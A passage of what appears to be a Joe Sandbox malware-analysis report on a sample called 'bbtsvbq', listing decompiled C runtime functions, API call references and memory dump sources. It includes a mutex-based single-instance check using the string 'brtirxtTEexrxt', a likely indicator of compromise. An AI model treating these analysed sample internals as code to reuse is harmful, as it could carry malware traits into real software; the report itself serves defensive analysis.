GetLastError.KERNEL32(?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx,00000000,?,013B41D9), ref: 013B3618
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx), ref: 013B3626
FreeLibrary.KERNEL32(00000000,?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx,00000000), ref: 013B3648

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B6883, Relevance: 6.1, APIs: 4, Instructions: 52

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E013B6883(signed int _a4) {
				signed int _t9;
				void* _t10;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x13da080 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x13bf368 + _t9 * 4);
					_t10 = LoadLibraryExW(_t22, 0, 0x800); // executed
					_t27 = _t10;
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x8ae9992a
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x013b6888
0x013b688c
0x013b6893
0x013b6897
0x013b68a5
0x013b68b5
0x013b68bb
0x013b68bf
0x013b68e8
0x013b68ea
0x013b68ee
0x013b68f1
0x013b68f1
0x013b68f7
0x013b68f9
0x00000000
0x013b68fa
0x013b68c1
0x013b68ca
0x013b68d9
0x013b68cc
0x013b68cf
0x013b68d5
0x013b68d5
0x013b68dd
0x00000000
0x013b68df
0x013b68e2
0x013b68e4
0x00000000
0x013b68e4
0x013b68dd
0x013b6899
0x013b689e
0x00000000

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,013B10E9,00000000,00000000,?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue), ref: 013B68B5
GetLastError.KERNEL32(?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364,?,013B6273), ref: 013B68C1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000), ref: 013B68CF
FreeLibrary.KERNEL32(00000000,?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364), ref: 013B68F1

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B140C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 12

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E013B140C() {
				void* _t1;
				long _t3;
				void* _t5;
				void* _t6;
				void* _t7;

				_push("brtirxtTEexrxt");
				_t1 = CreateMutexA(0, 1, ??); // executed
				if(_t1 != 0) {
					_t3 = GetLastError();
					_t9 = _t3 - 0xb7;
					if(_t3 != 0xb7) {
						E013B135E(_t5, _t6, _t7, _t9); // executed
					}
				}
				return 0;
			}

0x013b140c
0x013b1415
0x013b141d
0x013b141f
0x013b1425
0x013b142a
0x013b142c
0x013b142c
0x013b142a
0x013b1433

APIs

CreateMutexA.KERNELBASE(00000000,00000001), ref: 013B1415
GetLastError.KERNEL32 ref: 013B141F

Part of subcall function 013B135E: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000008), ref: 013B13DB

Strings

brtirxtTEexrxt, xrefs: 013B140C

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B7415, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E013B7415(void* __edx, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed int _v1828;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t63;
				void* _t67;
				signed int _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t86;
				char _t87;
				char _t89;
				signed int _t92;
				signed int _t93;
				signed int _t95;
				char* _t96;
				intOrPtr _t98;
				signed int _t99;

				_t63 =  *0x13d900c; // 0x8ae99929
				_v8 = _t63 ^ _t99;
				_t98 = _a4;
				_t4 = _t98 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t98 + 0x119; // 0x13b7a60
					_t95 = _t47;
					_t89 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t95;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t96 = _t95 + _t89;
						_t69 = _t68 + _t96;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t96 = 0;
							} else {
								_t72 = _t98 + _t89;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t89 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t98 + _t89 + 0x19) =  *(_t98 + _t89 + 0x19) | 0x00000010;
							_t54 = _t89 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t96 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t98 + 0x119; // 0x13b7a60
						_t95 = _t61;
						_t89 = _t89 + 1;
						__eflags = _t89 - 0x100;
					} while (_t89 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t99 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t92 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t105 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t95 =  *(_t92 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t95;
							if(_t76 > _t95) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t99 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t92 = _t92 + 2;
						__eflags = _t92;
						_t75 =  *_t92;
					}
					_t13 = _t98 + 4; // 0x5efc4d8b
					E013B8492(_t95, _t105, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t98 + 4; // 0x5efc4d8b
					_t19 = _t98 + 0x21c; // 0xcb8b0e74
					E013B905F(0, _t105, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t98 + 4; // 0x5efc4d8b
					_t23 = _t98 + 0x21c; // 0xcb8b0e74
					E013B905F(0, _t105, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t93 = 0;
					do {
						_t86 =  *(_t99 + _t93 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								 *((char*)(_t98 + _t93 + 0x119)) = 0;
							} else {
								_t37 = _t98 + _t93 + 0x19;
								 *_t37 =  *(_t98 + _t93 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t87 =  *((intOrPtr*)(_t99 + _t93 - 0x304));
								goto L15;
							}
						} else {
							 *(_t98 + _t93 + 0x19) =  *(_t98 + _t93 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t99 + _t93 - 0x204));
							L15:
							 *((char*)(_t98 + _t93 + 0x119)) = _t87;
						}
						_t93 = _t93 + 1;
					} while (_t93 < 0x100);
				}
				return E013B143B(0, _v8 ^ _t99, _t95, 0x100, _t98);
			}

0x013b7420
0x013b7427
0x013b742c
0x013b7437
0x013b7449
0x013b7541
0x013b7541
0x013b7547
0x013b7549
0x013b754a
0x013b754a
0x013b754c
0x013b7552
0x013b7552
0x013b7554
0x013b7556
0x013b755f
0x013b7562
0x013b756e
0x013b7575
0x013b7585
0x013b7577
0x013b7577
0x013b757a
0x013b757a
0x013b757a
0x013b757e
0x013b757e
0x00000000
0x013b757e
0x013b7564
0x013b7564
0x013b7569
0x013b7569
0x013b7581
0x013b7581
0x013b7581
0x013b7587
0x013b758d
0x013b758d
0x013b7593
0x013b7594
0x013b7594
0x013b744f
0x013b744f
0x013b7451
0x013b7451
0x013b7458
0x013b7459
0x013b745d
0x013b7463
0x013b7469
0x013b7491
0x013b7491
0x013b7493
0x00000000
0x00000000
0x013b7472
0x013b7476
0x013b7488
0x013b7488
0x013b748a
0x00000000
0x00000000
0x013b747b
0x013b747d
0x013b747f
0x013b7487
0x013b7487
0x00000000
0x013b7487
0x00000000
0x013b747d
0x013b748c
0x013b748c
0x013b748f
0x013b748f
0x013b7496
0x013b74ab
0x013b74b1
0x013b74c5
0x013b74cc
0x013b74db
0x013b74ed
0x013b74f4
0x013b74fc
0x013b74fe
0x013b74fe
0x013b7508
0x013b7518
0x013b751a
0x013b7531
0x013b751c
0x013b751c
0x013b751c
0x013b751c
0x013b7521
0x00000000
0x013b7521
0x013b750a
0x013b750a
0x013b750f
0x013b7528
0x013b7528
0x013b7528
0x013b7538
0x013b7539
0x013b753d
0x013b75a8

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 013B743A

Part of subcall function 013B8492: MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,00000100,013B7947,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 013B84DF
Part of subcall function 013B8492: MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 013B8568
Part of subcall function 013B8492: GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 013B857A
Part of subcall function 013B8492: __freea.LIBCMT ref: 013B8583

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Strings

, xrefs: 013B747F

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B6ABB, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E013B6ABB(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				void* __esi;
				signed int _t18;
				intOrPtr* _t20;
				void* _t31;
				intOrPtr* _t34;
				void* _t35;
				signed int _t36;

				_t32 = __edi;
				_t27 = __ecx;
				_t26 = __ebx;
				_push(__ecx);
				_t18 =  *0x13d900c; // 0x8ae99929
				_v8 = _t18 ^ _t36;
				_t20 = E013B67E7(0x16, "LCMapStringEx", 0x13bf84c, "LCMapStringEx"); // executed
				_t34 = _t20;
				if(_t34 == 0) {
					LCMapStringW(E013B6B43(__ebx, _t27, _t31, __edi, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x13be12c(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					 *_t34();
				}
				_pop(_t35);
				return E013B143B(_t26, _v8 ^ _t36, _t31, _t32, _t35);
			}

0x013b6abb
0x013b6abb
0x013b6abb
0x013b6ac0
0x013b6ac1
0x013b6ac8
0x013b6add
0x013b6ae2
0x013b6ae9
0x013b6b2c
0x013b6aeb
0x013b6b08
0x013b6b0e
0x013b6b0e
0x013b6b37
0x013b6b40

APIs

Part of subcall function 013B67E7: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364,?,013B6273,00000000), ref: 013B6847

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000100,?,5EFC4D8B,00000000), ref: 013B6B2C

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Strings

LCMapStringEx, xrefs: 013B6ACC, 013B6AD6

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B6A59, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E013B6A59(void* __ebx, void* __ecx, void* __edi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				void* __esi;
				signed int _t8;
				void* _t15;
				void* _t20;
				void* _t21;
				intOrPtr* _t23;
				void* _t24;
				signed int _t25;

				_t21 = __edi;
				_t15 = __ebx;
				_push(__ecx);
				_t8 =  *0x13d900c; // 0x8ae99929
				_v8 = _t8 ^ _t25;
				_t23 = E013B67E7(0x14, "InitializeCriticalSectionEx", 0x13bf844, 0x13bf84c);
				if(_t23 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8); // executed
				} else {
					 *0x13be12c(_a4, _a8, _a12);
					 *_t23();
				}
				_pop(_t24);
				return E013B143B(_t15, _v8 ^ _t25, _t20, _t21, _t24);
			}

0x013b6a59
0x013b6a59
0x013b6a5e
0x013b6a5f
0x013b6a66
0x013b6a80
0x013b6a87
0x013b6aa4
0x013b6a89
0x013b6a94
0x013b6a9a
0x013b6a9a
0x013b6aaf
0x013b6ab8

APIs

Part of subcall function 013B67E7: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364,?,013B6273,00000000), ref: 013B6847

InitializeCriticalSectionAndSpinCount.KERNELBASE(?,?,013B663F), ref: 013B6AA4

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Strings

InitializeCriticalSectionEx, xrefs: 013B6A74

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B68FE, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E013B68FE(void* __ebx, void* __ecx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				void* __esi;
				signed int _t4;
				intOrPtr* _t6;
				void* _t11;
				void* _t16;
				void* _t17;
				intOrPtr* _t19;
				void* _t20;
				signed int _t21;

				_t17 = __edi;
				_t11 = __ebx;
				_push(__ecx);
				_t4 =  *0x13d900c; // 0x8ae99929
				_v8 = _t4 ^ _t21;
				_t6 = E013B67E7(3, "FlsAlloc", 0x13bf808, 0x13bf810); // executed
				_t19 = _t6;
				if(_t19 == 0) {
					TlsAlloc();
				} else {
					 *0x13be12c(_a4);
					 *_t19();
				}
				_pop(_t20);
				return E013B143B(_t11, _v8 ^ _t21, _t16, _t17, _t20);
			}

0x013b68fe
0x013b68fe
0x013b6903
0x013b6904
0x013b690b
0x013b6920
0x013b6925
0x013b692c
0x013b693d
0x013b692e
0x013b6933
0x013b6939
0x013b6939
0x013b6948
0x013b6951

APIs

Part of subcall function 013B67E7: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364,?,013B6273,00000000), ref: 013B6847

TlsAlloc.KERNEL32 ref: 013B693D

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Strings

FlsAlloc, xrefs: 013B6919

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B3740, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E013B3740(void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				intOrPtr* _t6;
				intOrPtr* _t10;

				_t6 = E013B3534(8, "InitializeCriticalSectionEx", 0x13be450, "InitializeCriticalSectionEx"); // executed
				_t10 = _t6;
				if(_t10 == 0) {
					return InitializeCriticalSectionAndSpinCount(_a4, _a8);
				}
				L013B1D10();
				return  *_t10(_a4, _a8, _a12);
			}

0x013b3755
0x013b375a
0x013b3761
0x00000000
0x013b377d
0x013b376e
0x00000000

APIs

Part of subcall function 013B3534: GetProcAddress.KERNEL32(00000000,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx,00000000,?,013B41D9,013D9CA4,00000FA0), ref: 013B3598

InitializeCriticalSectionAndSpinCount.KERNEL32(00000000,?), ref: 013B377D

Strings

InitializeCriticalSectionEx, xrefs: 013B3744, 013B374E

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B776A, Relevance: 3.2, APIs: 2, Instructions: 168

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E013B776A(void* __edx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __esi;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed char _t62;
				signed int _t63;
				signed char* _t72;
				signed char* _t73;
				int _t77;
				signed int _t80;
				signed char* _t81;
				short* _t82;
				int _t86;
				signed char _t87;
				signed int _t88;
				signed int _t91;
				signed int _t92;
				int _t94;
				int _t95;
				intOrPtr _t97;
				signed int _t98;

				_t93 = __edi;
				_t48 =  *0x13d900c; // 0x8ae99929
				_v8 = _t48 ^ _t98;
				_t97 = _a8;
				_t77 = E013B733D(__eflags, _a4);
				if(_t77 != 0) {
					_push(__edi);
					_t94 = 0;
					__eflags = 0;
					_t80 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x13d91d8)) - _t77;
						if( *((intOrPtr*)(_t51 + 0x13d91d8)) == _t77) {
							break;
						}
						_t80 = _t80 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t80;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t77 - 0xfde8;
							if(_t77 == 0xfde8) {
								L23:
							} else {
								__eflags = _t77 - 0xfde9;
								if(_t77 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t77 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t77,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x13da2ac - _t94; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E013B73B0(_t97);
												goto L37;
											}
										} else {
											E013B39F0(_t94, _t97 + 0x18, _t94, 0x101);
											 *(_t97 + 4) = _t77;
											 *(_t97 + 0x21c) = _t94;
											_t77 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t97 + 8) = _t94;
											} else {
												__eflags = _v22;
												_t72 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t87 = _t72[1];
														__eflags = _t87;
														if(_t87 == 0) {
															goto L16;
														}
														_t91 = _t87 & 0x000000ff;
														_t88 =  *_t72 & 0x000000ff;
														while(1) {
															__eflags = _t88 - _t91;
															if(_t88 > _t91) {
																break;
															}
															 *(_t97 + _t88 + 0x19) =  *(_t97 + _t88 + 0x19) | 0x00000004;
															_t88 = _t88 + 1;
															__eflags = _t88;
														}
														_t72 =  &(_t72[2]);
														__eflags =  *_t72;
														if( *_t72 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t73 = _t97 + 0x1a;
												_t86 = 0xfe;
												do {
													 *_t73 =  *_t73 | 0x00000008;
													_t73 =  &(_t73[1]);
													_t86 = _t86 - 1;
													__eflags = _t86;
												} while (_t86 != 0);
												 *(_t97 + 0x21c) = E013B72FF( *(_t97 + 4));
												 *(_t97 + 8) = _t77;
											}
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E013B7415(_t91, _t97); // executed
											L37:
											__eflags = 0;
										}
									}
								}
							}
						}
						_pop(_t93);
						goto L39;
					}
					E013B39F0(_t94, _t97 + 0x18, _t94, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x13d91e8;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t81 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t81[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t92 =  *_t81 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t92 - _t63;
									if(_t92 > _t63) {
										break;
									}
									__eflags = _t92 - 0x100;
									if(_t92 < 0x100) {
										_t31 = _t94 + 0x13d91d0; // 0x8040201
										 *(_t97 + _t92 + 0x19) =  *(_t97 + _t92 + 0x19) |  *_t31;
										_t92 = _t92 + 1;
										__eflags = _t92;
										_t63 = _t81[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t81 =  &(_t81[2]);
								__eflags =  *_t81;
								if( *_t81 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t94 = _t94 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t94 - 4;
					} while (_t94 < 4);
					 *(_t97 + 4) = _t77;
					 *(_t97 + 8) = 1;
					 *(_t97 + 0x21c) = E013B72FF(_t77);
					_t82 = _t97 + 0xc;
					_t91 = _v36 + 0x13d91dc;
					_t95 = 6;
					do {
						_t58 =  *_t91;
						_t91 = _t91 + 2;
						 *_t82 = _t58;
						_t82 = _t82 + 2;
						_t95 = _t95 - 1;
						__eflags = _t95;
					} while (_t95 != 0);
					goto L36;
				} else {
					E013B73B0(_t97);
				}
				L39:
				return E013B143B(_t77, _v8 ^ _t98, _t91, _t93, _t97);
			}

0x013b776a
0x013b7772
0x013b7779
0x013b7781
0x013b7789
0x013b778e
0x013b779e
0x013b779f
0x013b779f
0x013b77a1
0x013b77a3
0x013b77a5
0x013b77a8
0x013b77a8
0x013b77ae
0x00000000
0x00000000
0x013b77b4
0x013b77b5
0x013b77b8
0x013b77bb
0x013b77c0
0x00000000
0x013b77c2
0x013b77c2
0x013b77c8
0x013b7896
0x013b77ce
0x013b77ce
0x013b77d4
0x00000000
0x013b77da
0x013b77de
0x013b77e4
0x013b77e6
0x00000000
0x013b77ec
0x013b77f1
0x013b77f7
0x013b77f9
0x013b7883
0x013b7889
0x00000000
0x013b788b
0x013b788c
0x00000000
0x013b788c
0x013b77ff
0x013b7809
0x013b780e
0x013b7816
0x013b781c
0x013b781d
0x013b7820
0x013b7873
0x013b7822
0x013b7822
0x013b7826
0x013b7829
0x013b782b
0x013b782b
0x013b782e
0x013b7830
0x00000000
0x00000000
0x013b7832
0x013b7835
0x013b7840
0x013b7840
0x013b7842
0x00000000
0x00000000
0x013b783a
0x013b783f
0x013b783f
0x013b783f
0x013b7844
0x013b7847
0x013b784a
0x00000000
0x00000000
0x00000000
0x013b784a
0x013b782b
0x013b784c
0x013b784c
0x013b784f
0x013b7854
0x013b7854
0x013b7857
0x013b7858
0x013b7858
0x013b7858
0x013b7868
0x013b786e
0x013b786e
0x013b787b
0x013b787c
0x013b787d
0x013b7941
0x013b7942
0x013b7947
0x013b7948
0x013b7948
0x013b77f9
0x013b77e6
0x013b77d4
0x013b77c8
0x013b794a
0x00000000
0x013b794a
0x013b78a8
0x013b78b0
0x013b78b0
0x013b78b4
0x013b78b7
0x013b78bd
0x013b78c0
0x013b78c0
0x013b78c3
0x013b78c5
0x013b78c7
0x013b78c7
0x013b78ca
0x013b78cc
0x00000000
0x00000000
0x013b78ce
0x013b78d1
0x013b78ed
0x013b78ed
0x013b78ef
0x00000000
0x00000000
0x013b78d6
0x013b78dc
0x013b78de
0x013b78e4
0x013b78e8
0x013b78e8
0x013b78e9
0x00000000
0x013b78e9
0x00000000
0x013b78dc
0x013b78f1
0x013b78f4
0x013b78f7
0x00000000
0x00000000
0x00000000
0x013b78f7
0x013b78f9
0x013b78f9
0x013b78fc
0x013b78fd
0x013b7900
0x013b7903
0x013b7903
0x013b7909
0x013b790c
0x013b791b
0x013b7924
0x013b7929
0x013b792f
0x013b7930
0x013b7930
0x013b7933
0x013b7936
0x013b7939
0x013b793c
0x013b793c
0x013b793c
0x00000000
0x013b7790
0x013b7791
0x013b7797
0x013b794b
0x013b795a

APIs

Part of subcall function 013B733D: GetOEMCP.KERNEL32(?,?,013B75C6,?), ref: 013B7368
Part of subcall function 013B733D: GetACP.KERNEL32(?,?,013B75C6,?), ref: 013B737F

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,013B760B,?,00000000), ref: 013B77DE
GetCPInfo.KERNEL32(00000000,013B760B,?,?,?,013B760B,?,00000000), ref: 013B77F1

Part of subcall function 013B7415: GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 013B743A

Part of subcall function 013B143B: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1A7D

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

